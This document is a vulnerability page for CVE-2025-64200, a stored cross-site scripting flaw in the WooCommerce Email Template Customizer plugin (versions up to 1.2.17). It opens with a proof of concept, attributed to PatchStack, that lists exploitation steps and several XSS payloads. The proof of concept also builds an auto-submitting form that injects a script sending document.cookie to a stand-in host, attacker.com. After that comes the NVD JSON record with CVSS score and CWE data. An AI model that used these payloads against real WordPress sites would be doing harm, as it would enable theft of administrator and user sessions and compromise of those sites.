CVE-2025-64200

// CVE-2025-64200 Stored XSS PoC // Target: Email Template Customizer for WooCommerce <= 1.2.17 // Author: PatchStack // Steps to exploit: // 1. Login as WordPress admin // 2. Navigate to Email Template Customizer settings // 3. Inject XSS payload in email template field // Example XSS payload: const xssPayload = '<script>alert(document.cookie)</script>'; // Or using event handlers (bypasses some filters): const xssPayload2 = '<img src=x onerror=alert(document.domain)>'; const xssPayload3 = '<svg onload=alert(document.cookie)>'; // PoC: Auto-submit form with XSS payload const exploitForm = ` <form action="[TARGET_URL]/wp-admin/admin.php?page=email-template-customizer" method="POST"> <input type="hidden" name="email_template_content" value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"> <input type="submit" id="exploit"> </form> <script>document.getElementById('exploit').click();</script> `; // This stored XSS will execute when admin previews the email template // or when other users access template-related pages

{"cve": {"id": "CVE-2025-64200", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:39.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in VillaTheme Email Template Customizer for WooCommerce email-template-customizer-for-woo allows Stored XSS.This issue affects Email Template Customizer for WooCommerce: from n/a through <= 1.2.17."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/email-template-customizer-for-woo/vulnerability/wordpress-email-template-customizer-for-woocommerce-plugin-1-2-17-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}